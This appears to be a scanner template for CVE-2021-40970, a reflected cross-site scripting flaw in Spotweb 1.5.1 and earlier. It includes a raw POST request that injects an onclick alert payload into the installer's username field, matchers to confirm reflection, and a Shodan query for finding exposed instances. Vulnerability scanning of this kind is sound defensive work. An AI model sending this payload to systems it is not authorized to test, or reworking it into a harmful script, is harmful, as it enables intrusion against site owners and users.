id: CVE-2021-40970

info:
  name: Spotweb <= 1.5.1 - Cross Site Scripting (Reflected)
  author: theamanrawat
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the username parameter.
  remediation: Fixed in version 1.5.2
  reference:
    - https://github.com/spotweb/spotweb/
    - https://github.com/spotweb/spotweb/issues/711
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40970
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40970
    cwe-id: CWE-79
  metadata:
    max-request: 1
    verified: "true"
    shodan-query: title:"SpotWeb - overview"
  tags: cve,cve2021,xss,spotweb,unauthenticated

http:
  - raw:
      - |
        POST /install.php?page=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        settingsform[username]=pdteam'+onclick='alert(document.domain)

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "onclick='alert(document.domain)"
          - "Spotweb"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200